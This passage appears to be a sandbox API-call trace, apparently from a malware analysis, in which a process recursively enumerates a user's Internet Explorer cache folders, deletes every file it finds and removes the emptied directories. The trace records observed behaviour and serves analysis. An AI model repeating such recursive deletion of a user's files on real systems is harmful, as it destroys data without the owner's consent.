pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="match[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\match[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\match[1].gif" [0103.597] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\match[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\match[1].gif")) returned 1 [0103.607] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd01b50e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd01b50e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd01b50e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x23, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="match[2].gif", cAlternateFileName="MATCH_~2.GIF")) returned 1 [0103.607] lstrlenW (lpString="match[2].gif") returned 12 [0103.607] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="match[2].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\match[2].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\match[2].gif" [0103.607] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\match[2].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\match[2].gif")) returned 1 [0103.607] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05df760, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05df760, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05df760, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x23, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="match[3].gif", cAlternateFileName="MATCH_~3.GIF")) returned 1 [0103.607] lstrlenW (lpString="match[3].gif") returned 12 [0103.607] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="match[3].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\match[3].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\match[3].gif" [0103.607] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\match[3].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\match[3].gif")) returned 1 [0103.654] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0782680, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0782680, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0782680, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x23, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="match[4].gif", cAlternateFileName="MATCH_~4.GIF")) returned 1 [0103.654] lstrlenW (lpString="match[4].gif") returned 12 [0103.654] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="match[4].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\match[4].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\match[4].gif" [0103.654] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\match[4].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\match[4].gif")) returned 1 [0103.654] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0ac84c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0ac84c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0ac84c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x23, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="match[5].gif", cAlternateFileName="MA3D71~1.GIF")) returned 1 [0103.655] lstrlenW (lpString="match[5].gif") returned 12 [0103.655] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="match[5].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\match[5].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\match[5].gif" [0103.655] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\match[5].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\match[5].gif")) returned 1 [0103.689] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1a413c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1a413c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1a413c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x23, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="profile[1].gif", cAlternateFileName="PROFIL~1.GIF")) returned 1 [0103.689] lstrlenW (lpString="profile[1].gif") returned 14 [0103.689] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="profile[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\profile[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\profile[1].gif" [0103.689] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\profile[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\profile[1].gif")) returned 1 [0103.689] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcece9d00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcece9d00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xceceeb20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1f147, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="uhf-west-european-default.min[1].css", cAlternateFileName="UHF-WE~1.CSS")) returned 1 [0103.689] lstrlenW (lpString="uhf-west-european-default.min[1].css") returned 36 [0103.689] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="uhf-west-european-default.min[1].css" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\uhf-west-european-default.min[1].css") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\uhf-west-european-default.min[1].css" [0103.689] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\uhf-west-european-default.min[1].css" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\uhf-west-european-default.min[1].css")) returned 1 [0103.705] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcece9d00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcece9d00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xceceeb20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1f147, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="uhf-west-european-default.min[1].css", cAlternateFileName="UHF-WE~1.CSS")) returned 0 [0103.705] FindClose (in: hFindFile=0x71e97e0 | out: hFindFile=0x71e97e0) returned 1 [0103.706] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91b30 | out: hHeap=0x9770000) returned 1 [0103.706] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91a50 | out: hHeap=0x9770000) returned 1 [0103.706] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0103.706] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i")) returned 1 [0103.706] FindNextFileW (in: hFindFile=0x71e9c00, lpFindFileData=0x9a6e500 | out: lpFindFileData=0x9a6e500*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xc6a551a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc6a551a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6a551a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x360030, dwReserved1=0x390030, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0103.706] lstrlenW (lpString="desktop.ini") returned 11 [0103.706] PathCombineW (in: pszDest=0x9a6e220, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\desktop.ini" [0103.706] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\desktop.ini")) returned 1 [0103.707] FindNextFileW (in: hFindFile=0x71e9c00, lpFindFileData=0x9a6e500 | out: lpFindFileData=0x9a6e500*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xb9f47da0, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb9f47da0, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x360030, dwReserved1=0x390030, cFileName="G003HD4D", cAlternateFileName="")) returned 1 [0103.707] lstrlenW (lpString="G003HD4D") returned 8 [0103.707] PathCombineW (in: pszDest=0x9a6e220, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5", pszFile="G003HD4D" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D" [0103.707] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D") returned 99 [0103.707] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91840 [0103.707] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xd0) returned 0x9b6fe70 [0103.707] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91a50 [0103.707] PathCombineW (in: pszDest=0x9b6fe70, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\*.*" [0103.707] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\*.*", lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xb9f47da0, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb9f47da0, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName=".", cAlternateFileName="")) returned 0x71e97e0 [0103.713] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xb9f47da0, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb9f47da0, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="..", cAlternateFileName="")) returned 1 [0103.718] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a28b6a0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a28b6a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a28b6a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x253df, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="11-b6a7e6-91cdfbc1[1].txt", cAlternateFileName="11-B6A~1.TXT")) returned 1 [0103.718] lstrlenW (lpString="11-b6a7e6-91cdfbc1[1].txt") returned 25 [0103.718] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="11-b6a7e6-91cdfbc1[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\11-b6a7e6-91cdfbc1[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\11-b6a7e6-91cdfbc1[1].txt" [0103.718] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\11-b6a7e6-91cdfbc1[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\11-b6a7e6-91cdfbc1[1].txt")) returned 1 [0103.718] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd7fa700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd7fa700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd7fa700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2f6a, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="14efd5f5[1].js", cAlternateFileName="14EFD5~1.JS")) returned 1 [0103.719] lstrlenW (lpString="14efd5f5[1].js") returned 14 [0103.719] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="14efd5f5[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\14efd5f5[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\14efd5f5[1].js" [0103.719] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\14efd5f5[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\14efd5f5[1].js")) returned 1 [0103.719] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1df18640, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1df18640, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1df18640, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6a, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="14efd5f5[2].js", cAlternateFileName="14EFD5~2.JS")) returned 1 [0103.719] lstrlenW (lpString="14efd5f5[2].js") returned 14 [0103.719] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="14efd5f5[2].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\14efd5f5[2].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\14efd5f5[2].js" [0103.719] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\14efd5f5[2].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\14efd5f5[2].js")) returned 1 [0103.719] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1c7c860, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1c7c860, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1ca29c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xd581, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="19398275[1].gif", cAlternateFileName="193982~1.GIF")) returned 1 [0103.719] lstrlenW (lpString="19398275[1].gif") returned 15 [0103.719] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="19398275[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\19398275[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\19398275[1].gif" [0103.719] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\19398275[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\19398275[1].gif")) returned 1 [0103.738] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b9287a0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b9287a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b9287a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="4[1].gif", cAlternateFileName="4_1_~1.GIF")) returned 1 [0103.738] lstrlenW (lpString="4[1].gif") returned 8 [0103.738] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="4[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\4[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\4[1].gif" [0103.739] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\4[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\4[1].gif")) returned 1 [0103.742] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcba5f560, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcba5f560, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcba5f560, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1252, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243782100[1]", cAlternateFileName="6144_K~1")) returned 1 [0103.742] lstrlenW (lpString="6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243782100[1]") returned 158 [0103.742] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243782100[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243782100[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243782100[1]" [0103.742] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243782100[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\6144;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1b;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243782100[1]")) returned 1 [0103.742] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcba5f560, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcba5f560, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcba856c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1252, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="6144;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243782100;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243782100[1]", cAlternateFileName="6144_K~2")) returned 1 [0103.742] lstrlenW 